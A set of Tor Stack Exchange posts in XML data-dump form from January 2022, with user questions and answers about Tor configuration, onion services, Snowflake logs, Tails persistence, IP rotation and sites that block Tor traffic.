  <row Id="23005" PostTypeId="2" ParentId="17461" CreationDate="2022-01-16T20:46:36.793" Score="0" Body="&lt;p&gt;It depends on the OS that is hosting Docker. If it's Linux - it's just as easy as it can be via firewall: add a user-based rules for your container and run the container under the specific user, respectively&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-16T20:46:36.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23006" PostTypeId="2" ParentId="22619" CreationDate="2022-01-16T22:53:18.380" Score="0" Body="&lt;p&gt;&lt;em&gt;Disclaimer: I am new to snowflake, so I'm guessing a bit.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking at the schema &lt;a href=&quot;https://snowflake.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PxKnX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxKnX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And looking at my log output, a successful connection seems to look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sdp offer successfully received.&#xA;Generating answer...&#xA;OnDataChannel&#xA;Connection successful.&#xA;OnOpen channel&#xA;connected to relay&#xA;[...]&#xA;OnClose channel&#xA;Traffic throughput (up|down): 110 KB|149 KB -- (512 OnMessages, 508 Sends, over 819 seconds)&#xA;copy loop ended&#xA;datachannelHandler ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Skimming through the source code, I think that the interesting ones are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/blob/main/proxy/lib/snowflake.go#L384&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;sdp offer&amp;quot;&lt;/a&gt; message seems to be the offer relayed by the broker (number (2) in the picture).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/blob/main/proxy/lib/snowflake.go#L386&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Generating answer&amp;quot;&lt;/a&gt; would be the answer going back to the broker (number (2) in the picture).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/blob/main/proxy/lib/snowflake.go#L490&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Connection successful&amp;quot;&lt;/a&gt; and and &lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/blob/main/proxy/lib/snowflake.go#L346&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;OnOpen channel&amp;quot;&lt;/a&gt; seem to mean that the WebRTC connection was initiated (number (4) in the picture).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/blob/main/proxy/lib/snowflake.go#L318&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Connected to relay&amp;quot;&lt;/a&gt; sounds like (5) in the picture.&lt;/li&gt;&#xA;&lt;li&gt;I guess that you are mostly interested in the &lt;a href=&quot;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/blob/main/proxy/lib/snowflake.go#L352&quot; rel=&quot;nofollow noreferrer&quot;&gt;Throughput summary&lt;/a&gt;, which seems to summarize what went through your snowflake instance for a particular client.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don't know what the Firefox plugin uses exactly, but I could imagine that it counts the number of connections that had a non-zero throughput, i.e. the number of &amp;quot;Traffic throughput&amp;quot; lines in the logs.&lt;/p&gt;&#xA;" OwnerUserId="33975" LastActivityDate="2022-01-16T22:53:18.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23007" PostTypeId="2" ParentId="23004" CreationDate="2022-01-18T13:16:44.893" Score="1" Body="&lt;p&gt;I would have your python script call &lt;code&gt;torsocks curl&lt;/code&gt; and let curl do the hard work of connecting to the onion service rather than trying to code the same thing in python.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;torsocks curl https://check.torproject.org | grep browser&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;will confirm that curl is working with Tor.&lt;/p&gt;&#xA;&lt;p&gt;If you have something like a RESTful API, you can use &lt;a href=&quot;https://stackoverflow.com/questions/13782198/how-to-do-a-put-request-with-curl&quot;&gt;curl PUT commands&lt;/a&gt; to send requests to the onion service.&lt;/p&gt;&#xA;&lt;p&gt;If you specifically need to know how to do this directly with Python, then that's more of a Python programming question than a Tor question. I would research how to use a socks5 proxy with your Python script and then just use the Socks proxy that the Tor daemon provides.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-01-18T13:16:44.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23008" PostTypeId="2" ParentId="23001" CreationDate="2022-01-18T13:34:12.137" Score="1" Body="&lt;p&gt;If you are on debian or ubuntu, you may use &lt;a href=&quot;https://manpages.debian.org/stretch/tor/tor-instance-create.8.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-instance-create&lt;/a&gt; to create another instance which you can configure (in a different file for that instance) according to your needs.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2022-01-18T13:34:12.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23010" PostTypeId="2" ParentId="23004" CreationDate="2022-01-20T18:16:02.727" Score="0" Body="&lt;p&gt;Tor is &lt;strong&gt;just&lt;/strong&gt; a SOCKS5s or HTTPS+DNS proxy, you're free to use &lt;em&gt;anything&lt;/em&gt; - and you don't need any kind of an external tool like &lt;code&gt;torsocks&lt;/code&gt; or &lt;code&gt;proxychains&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-20T18:16:02.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23011" PostTypeId="1" CreationDate="2022-01-20T21:21:48.007" Score="1" ViewCount="256" Body="&lt;p&gt;I have tor and nyx on the same server. In the torrc file, I enabled the ControlPort (at 9051) and I pasted the hashed password to access the port.&lt;/p&gt;&#xA;&lt;p&gt;When I launch nyx (from root or another user) I don't get a password prompt and after a while, nyx stops with this error: &lt;code&gt;Unable to authenticate: socket connection failed ([Errno 111] Connection refused)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;After launching nyx with the &lt;code&gt;-d&lt;/code&gt; option, I have this error (both with a config file containing the password or without needing my input): &lt;code&gt;Error while receiving a control message (SocketClosed): received exception &amp;quot;[Errno 104] Connection reset by peer&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do you know how to resolve this issue?&lt;/p&gt;&#xA;" OwnerUserId="33994" LastEditorUserId="14924" LastEditDate="2023-02-25T17:18:21.083" LastActivityDate="2023-02-25T17:18:21.083" Title="Nyx doesn't prompt for password" Tags="|nyx|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23012" PostTypeId="1" CreationDate="2022-01-21T20:47:05.830" Score="0" ViewCount="573" Body="&lt;p&gt;I'm trying to stream audio over Tor and the browser doesn't seem to download any bytes from the request. The request doesn't fail or anything, it just stays at 0B downloaded.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/70ie2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/70ie2.png&quot; alt=&quot;media request doesn't progress&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;This is my setup:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VLC (on Windows) streams audio on &lt;code&gt;:8081&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;A React.js frontend (on WSL Ubuntu) is active at &lt;code&gt;:3000&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;A Tor client (on WSL Ubuntu) treats both &lt;code&gt;:8081&lt;/code&gt; and &lt;code&gt;:3000&lt;/code&gt; as hidden services, with diferent onion URLs;&lt;/li&gt;&#xA;&lt;li&gt;A Tor browser (on Windows) accesses the frontend service and the frontend tries to access the streaming service using its Onion Address (it fails).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Running locally, without Tor, it works just fine:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VLC (on Windows) streams audio on &lt;code&gt;:8081&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;A React.js frontend (on WSL Ubuntu) is active at &lt;code&gt;:3000&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;A web browser (on Windows) accesses the frontend service and the frontend tries to access the streaming service using its &lt;code&gt;localhost&lt;/code&gt; address (it succeeds).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is this a routing problem or a Tor limitation? If it's a routing problem, are there any tips on how to setup Tor with WSL and Windows? If it's a Tor limitation, is there any workaround for that?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;I have been able to stream bytes by using Windows &lt;code&gt;nameserver&lt;/code&gt; in WSL (&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/wsl/networking#:%7E:text=Accessing%20Linux%20networking%20apps%20from%20Windows%20(localhost),-If%20you%20are&amp;amp;text=To%20find%20the%20IP%20address,value%20of%20the%20eth0%20interface.&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; helped me to understand it better) as the IP of the streaming hidden service variable &lt;code&gt;HiddenServicePort&lt;/code&gt;. However, now there's a codec-related problem:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WObm3.png&quot; alt=&quot;codec error&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried using multiple file formats but it didn't work. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="34001" LastEditorUserId="34001" LastEditDate="2022-01-21T21:08:56.463" LastActivityDate="2022-01-22T19:47:52.030" Title="Can't stream audio over Tor" Tags="|windows|onion-routing|linux|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23013" PostTypeId="1" CreationDate="2022-01-21T21:19:27.867" Score="0" ViewCount="87" Body="&lt;p&gt;My ISP changes my public IP about once a year. I used to run a public middle relay for a couple of weeks, and then I changed my mind and decided to operate a bridge.&#xA;Let us assume that my adversary censored the access to the service that my relay provided (public IPs of the relays are publicly viewable in the directory&#xA;of the Tor relays). Having removed the relay, does running a bridge afterwards, from the same computer connected to the same router, expose such a bridge to an additional risk of censorship? Does it even make any sense to try?&lt;/p&gt;&#xA;" OwnerUserId="28671" LastActivityDate="2022-01-22T19:49:54.493" Title="Does running a tor bridge from the same public IP as a relay before make such bridge prone to censorship?" Tags="|relays|bridge|censorship|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23014" PostTypeId="2" ParentId="23012" CreationDate="2022-01-21T22:54:37.077" Score="1" Body="&lt;p&gt;It was apparently a bug with VLC, which writes &lt;code&gt;Content-Type: application/octet-stream&lt;/code&gt; in the response regardless of the file type. It worked fine on Chrome because (in contrast with Tor) it has some sort of content type auto-detection, recognizing the file as audio, even when receiving a &lt;code&gt;application/octet-stream&lt;/code&gt; mime. I had to &amp;quot;enforce&amp;quot; &lt;code&gt;audio/mp3&lt;/code&gt; as the response mime in VLC settings.&lt;/p&gt;&#xA;" OwnerUserId="34001" LastActivityDate="2022-01-21T22:54:37.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23015" PostTypeId="2" ParentId="23012" CreationDate="2022-01-22T19:47:52.030" Score="0" Body="&lt;p&gt;Well, it's quite a common situation - Tor does &lt;strong&gt;not&lt;/strong&gt; provide UDP transport, and many tools do rely on the fact that an external SOCKS v4 or v5 &lt;strong&gt;does&lt;/strong&gt;. There're multiple options to solve not just this particular trouble - I've figured them out and used successfully:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Encapsulate it&lt;/strong&gt; - and one of the best ways is HTTP 1.1 or 2. It works literally out of the box&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Enforce TCP&lt;/strong&gt; - some protocols do support to state at the very negotiation phase which is made over TCP - to enforce using TCP &lt;em&gt;only&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Make a port ranges&lt;/strong&gt; - like an active FTP that is a way better than a passive one - on the server side you can specify a &lt;em&gt;strict&lt;/em&gt; range instead of a random ephemeral one, so do this and specify the ports inside Tor config also. It helps with zero-touching provisioning on the client side&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-22T19:47:52.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23016" PostTypeId="2" ParentId="23013" CreationDate="2022-01-22T19:49:54.493" Score="1" Body="&lt;p&gt;It's ok: if any adversary &lt;em&gt;is&lt;/em&gt; active looking for &lt;em&gt;public&lt;/em&gt; bridges like in BridgeDB - it will not save you. No significant differences at all&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-22T19:49:54.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23017" PostTypeId="1" CreationDate="2022-01-24T21:45:02.463" Score="0" ViewCount="146" Body="&lt;p&gt;Logged in as admin then used:&lt;/p&gt;&#xA;&lt;p&gt;sudo nano /etc/tor/torrc&lt;/p&gt;&#xA;&lt;p&gt;ExcludeNodes {us},{de},{fr}&#xA;ExcludeExitNodes {us},{au},{ca},{nz},{gb},{fr}&lt;/p&gt;&#xA;&lt;p&gt;CTRL-X&lt;/p&gt;&#xA;&lt;p&gt;sudo systemctl restart tor&lt;/p&gt;&#xA;&lt;p&gt;This works for the current session ONLY but does not save once rebooted.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to have the torrc saved in persistent?&lt;/p&gt;&#xA;" OwnerUserId="34015" LastActivityDate="2022-02-25T20:05:35.473" Title="Unable to save edited torrc in Tails" Tags="|configuration|persistent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23018" PostTypeId="2" ParentId="13011" CreationDate="2022-01-25T03:09:35.010" Score="0" Body="&lt;p&gt;Jan 2022. Craigslist suddenly blocks all efforts to connect to it through Tor browser. If you are running Windows 10, you can try to release your existing IP with an instruction through the command prompt and then ask for a new IP address with another instruction through the command prompt.&lt;/p&gt;&#xA;&lt;p&gt;To try this, right click the start icon and select command prompt(admin). You need to run the command prompt as an administrator. If you are asked whether you want to let the program make changes to your computer, click yes and wait for the command prompt window to show up. When it does, you should see a blinking cursor. At the blinking cursor, type &amp;quot;ipconfig /release&amp;quot; (without the quotes) and wait for the command to complete. This will release your IP address. Then, at the blinking cursor, type &amp;quot;ipconfig /renew&amp;quot; (without the quotes). This should give you a new IP address. Restart your computer. See if you can connect to Craigslist.&lt;/p&gt;&#xA;" OwnerUserId="34017" LastActivityDate="2022-01-25T03:09:35.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23020" PostTypeId="2" ParentId="21592" CreationDate="2022-01-25T21:02:01.863" Score="0" Body="&lt;p&gt;Jan 2022.&lt;/p&gt;&#xA;&lt;p&gt;Hey folks... &lt;strong&gt;WORDS MATTER&lt;/strong&gt; when describing a process or method to help the average (non-expert) computer user. You are NOT talking to fellow geeks on this web site and you should keep that in mind when you post. Please be PRECISE and COMPLETE in your choice of words so we can ALL understand what you are trying to convey. ASSUMING we start with the same computer shorthand or understanding as &lt;strong&gt;you&lt;/strong&gt; may have, is &lt;strong&gt;not&lt;/strong&gt; &amp;quot;helpful&amp;quot; it's FRUSTRATING in the extreme. Also, please do not just provide a link to highly technical web sites that &lt;strong&gt;also&lt;/strong&gt; DO NOT SOLVE the question asked !&lt;/p&gt;&#xA;&lt;p&gt;That said, a question that asks how to set up &amp;quot;vpn OVER Tor&amp;quot; is the EXACT OPPOSITE of a question asking how to set up &amp;quot;Tor over VPN&amp;quot;. Usually, responders don't even READ the question and instead, try to SELL you a subscription to a VPN service.&lt;/p&gt;&#xA;&lt;p&gt;This latter set up is discouraged by the genuine TOR Project for good reason. In that scenario, you are trusting your REAL IP address to a VPN provider who may or may not keep logs of it, and may associate it with your REAL payment information. So called &amp;quot;free&amp;quot; VPNs (despite their self-congratulatory hype and bought-and-paid-for &amp;quot;endorsers&amp;quot;)may not be located beyond the reach of subpoena power, may not have rigorous encryption, and may be monetizing YOUR information for their profit. Think about it... other than TOR (and to an extent Protonmail) who do &lt;strong&gt;you&lt;/strong&gt; know that keeps NO LOGS, never retrieves your IP address &lt;strong&gt;AND&lt;/strong&gt; provides a truly &amp;quot;free&amp;quot; tool for real anonymity ?? By the way, I don't work for EITHER of those organizations, or for TOR, and have no interest except in trying to find the most truly anonymous way for ordinary, law-abiding, non-abusive users who nevertheless VALUE their anonymity, to connect to those idiotic but necessary web sites like Craigslist who choose to block ALL Tor traffic.&lt;/p&gt;&#xA;&lt;p&gt;If you are being blocked from accessing any particular website, you use Tor as your main browser on a Windows 10 system, you should know certain basics. First, most websites are &amp;quot;hosted&amp;quot; on a &amp;quot;secure&amp;quot; platform that provides the website's owner with a bundle of services such as a payment portal, analytics to help the website owner know what is working or not working and who the website's actual v. expected audience is, 24/7 maintenance and guaranteed accessibility of the website in question, &amp;quot;security&amp;quot; from malicious attacks that might overload and shut down the website, identification of those &amp;quot;malicious actors&amp;quot; so the web site can take legal action against them, and storage for information the website would like to collect from its users.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the platform a website creator chooses to host their site, the methods of providing protection from those malicious attacks of abusive uses of their site varies.  So too, does the platform's method of identifying the alleged offender. For a basic understanding of how different hosting platforms choose to provide security protections to THEIR website creator customers, see this excellent post edited by Alexander Færøy  &lt;a href=&quot;http://eweiibe6tdjsdprb4px6rqrzzcsi22m4koia44kc5pcjr7nec2rlxyad.onion/legacy/trac/-/wikis/org/doc/ListOfServicesBlockingTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://eweiibe6tdjsdprb4px6rqrzzcsi22m4koia44kc5pcjr7nec2rlxyad.onion/legacy/trac/-/wikis/org/doc/ListOfServicesBlockingTor&lt;/a&gt;. To gain an understanding of a platform provider's thinking on the use of Tor... checkout this posting from CloudFlare &lt;a href=&quot;https://blog.cloudflare.com/the-trouble-with-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.cloudflare.com/the-trouble-with-tor/&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;p&gt;In some cases, a particular website has its OWN blocking algorithm or threshold page that any request for access to its website must pass through before a typical user can view or use their site.&lt;/p&gt;&#xA;&lt;p&gt;THIS IS THE CASE WITH CRAIGSLIST.&lt;/p&gt;&#xA;&lt;p&gt;Typically when a website chooses to do its own &amp;quot;policing&amp;quot; rather than have their site independently &amp;quot;hosted&amp;quot; by a platform... they use the &amp;quot;meat cleaver&amp;quot; rather than the &amp;quot;surgical&amp;quot; approach to &amp;quot;keeping the bad guys off their site&amp;quot;. Often the criteria they use (beyond specific incidents of abuse or non-compliance with their posting policies, is to just ban ALL internet traffic coming from certain &amp;quot;exit nodes&amp;quot; (ie the last computer IP address to connect directly to their site)and sometimes ALL IP addresses associated with those &amp;quot;suspect&amp;quot; exit nodes.&lt;/p&gt;&#xA;&lt;p&gt;Since the TOR network has a limited number of&lt;br /&gt;&#xA;exit nodes (though they are constantly trying to get more), and since TOR makes the IP addresses of all THEIR registered exit nodes PUBLIC (in order to protect the identity of YOUR real IP address), It is not difficult for a website such as Craigslist to simply block all traffic coming from, and IP addresses associated with, those exit nodes. In effect, they block Tor, they block YOU.&lt;/p&gt;&#xA;&lt;p&gt;It is important to understand that most such site specific blocks are NOT based on YOUR personal computer's IP address, nor on its specific and unique device ID, but rather on the IP address and (maybe) the unique device id of the Tor network server (computer)which is the last computer in the chain that directly connects to the web site you want to view. Tor is a relay system and all you, the user, put into that relay is a request (search)and a &lt;strong&gt;temporary&lt;/strong&gt; delivery address.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;first&lt;/strong&gt; Tor network computer only knows that your IP made a request (which is encrypted) for something on the internet(it doesn't know what the request was)and it sends that message to only the next randomly selected computer in the daisy chain. The &lt;strong&gt;second&lt;/strong&gt; Tor network computer only knows that it got a message from the first Tor computer with instructions to pass it on. The &lt;strong&gt;last&lt;/strong&gt; Tor network computer (exit node) only knows that it got a message from the second or third Tor network computer to request info from a certain website. The &lt;strong&gt;destination website&lt;/strong&gt; only knows that the last Tor network computer requested permission to view or get information from it. Whatever the website provides to the last Tor network computer is encrypted, wrapped in a message and sent back through the network only to be unencrypted and read AFTER it is safely back on your computer. Tor does not log the original request or where it came from so it can't turn over that information to anyone.&lt;/p&gt;&#xA;&lt;p&gt;Accordingly, it won't help you get access to these kinds of Tor blocking sites to change your personal device ID, or your personal IP address. These are two different things, by the way. In Widows 10, your actual PC has a unique ID, but also each separate PART of that PC (like your card reader,motherboard, storage, video/graphics card, sound card, monitor, USB readers, etc.) EACH have their own unique &amp;quot;hardware device ID&amp;quot;. Too many folks providing advice out there use all three terms as if they are interchangeable, they are NOT !!&lt;/p&gt;&#xA;&lt;p&gt;This is why IF you have to circumvent TOR blocking sites... the safest configuration is&#xA;You ==&amp;gt; TOR ==&amp;gt; Free Protonmail VPN. The advantage of this setup is that you never give to ANYONE your personal details. You can use a disposable e-mail to get the Free Protonmail VPN. Tor doesn't require ANYTHING to download its browser bundle. Both organizations have a LONG and extensively reviewed track record on NOT keeping logs, or collecting your IP address.&lt;/p&gt;&#xA;&lt;p&gt;Ideally, you would set up one FREE Protonmail VPN as the proxy INSIDE the Tor browser which would keep even your ISP (Internet Service Provider) from knowing you use Tor as a browser (connect to the internet via proxy option) AND also be able to use a second FREE Protonmail VPN as the exit node at the END of the Tor relay daisy chain. It seems possible to set up 2 different FREE VPNs through Protonmail by just using 2 different disposable e-mails to get two different VPNs. Since Protonmail is committed to user privacy as its reason for being, there should not be any objection.&lt;/p&gt;&#xA;&lt;p&gt;The difficulty is that I'm not exactly sure how to properly configure TOR (and/or Windows 10) for each part of the protection (VPN set as proxy in Tor Browser) and then (separate VPN as set as the preferred exit node in Tor relay).&lt;/p&gt;&#xA;&lt;p&gt;If someone could lay out that process in a CLEAR, UNDERSTANDABLE, step-by-step process you would be doing all of us a HUGE favor.&#xA;If I can figure it out, I'll update this post and fill you in... but I am NOT a real computer guru so it could take a long while.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps !&lt;/p&gt;&#xA;" OwnerUserId="34023" LastActivityDate="2022-01-25T21:02:01.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23021" PostTypeId="1" CreationDate="2022-01-26T08:00:27.723" Score="0" ViewCount="228" Body="&lt;p&gt;im running the expert tor.exe client (tor1 and tor2 at the same time) within a python script and selenium module.&#xA;the 2 tor.exe clients are getting killed after every run to get a new ip.&#xA;first runs are working, im getting 2 new ips every time, but after couple of minutes the tor.exe clients stuck at 95%. First i thought it is that im being blocked by Tor for too many requests but after reading thats not it.&lt;/p&gt;&#xA;&lt;p&gt;i've restarted my PC and synched the windows time but still the same issue.&#xA;using a bridge would work but thats too slow.&#xA;after like 2 hours its working again.&lt;/p&gt;&#xA;&lt;p&gt;but the tor browser is working! I think its something with my torrc file, do i need to add something?&#xA;this is my torrc file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9152&#xA;ControlPort 9052&#xA;CookieAuthentication 1&#xA;DataDirectory C:\Users\admin\Desktop\all\expert\torexpert\Tor2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you have any idea why its not working?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Bootstrapped 95% (circuit_create): &amp;gt; Establishing a Tor circuit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this is the netstat for port 9152&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; TCP    127.0.0.1:9152         0.0.0.0:0              ABH?REN         15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57668        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57669        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57670        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57672        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57673        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57674        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57675        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57678        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57679        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:9152         127.0.0.1:57680        HERGESTELLT     15080&#xA;  TCP    127.0.0.1:57667        127.0.0.1:9152         WARTEND         0&#xA;  TCP    127.0.0.1:57668        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57669        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57670        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57671        127.0.0.1:9152         WARTEND         0&#xA;  TCP    127.0.0.1:57672        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57673        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57674        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57675        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57678        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57679        127.0.0.1:9152         HERGESTELLT     7816&#xA;  TCP    127.0.0.1:57680        127.0.0.1:9152         HERGESTELLT     7816&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34025" LastActivityDate="2022-02-25T19:04:10.403" Title="running 2 clients at same time and getting stucked at 95% circuit_create: Establishing a Tor circuit after couple of minutes" Tags="|tor-browser-bundle|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23022" PostTypeId="2" ParentId="23021" CreationDate="2022-01-26T18:10:21.847" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can control tor via the control port and request a new identity.&lt;/li&gt;&#xA;&lt;li&gt;You can configure via the torrc.&#xA;Values to check are:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NewCircuitPeriod&lt;/li&gt;&#xA;&lt;li&gt;MaxCircuitDirtiness&lt;/li&gt;&#xA;&lt;li&gt;NewCircuitPeriod&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;But in any way, new circuits not necessarily give you a new exit node, and so, not a new IP.&lt;/p&gt;&#xA;&lt;p&gt;Also, rotating so often can make your more distinguishable and so, identifiable.&lt;/p&gt;&#xA;&lt;p&gt;The defaults are there for a reason.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2022-01-26T18:10:21.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23023" PostTypeId="2" ParentId="23017" CreationDate="2022-01-26T18:26:08.963" Score="0" Body="&lt;p&gt;As tails is intended to leave no traces, in general everything is deleted.&lt;/p&gt;&#xA;&lt;p&gt;You may save your torrc in ~/Persistent/ and start tor manually with -f FILE or use the tails-persistence-setup tool.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tails.boum.org/contribute/design/persistence/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/contribute/design/persistence/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2022-01-26T18:26:08.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23024" PostTypeId="2" ParentId="22958" CreationDate="2022-01-26T18:37:10.747" Score="0" Body="&lt;p&gt;I would suggest to use the ssh proxycommand instead of torify:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o ProxyCommand='nc -x 127.0.0.1:9150 %h %p' user@hiddenservice&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2022-01-26T18:37:10.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
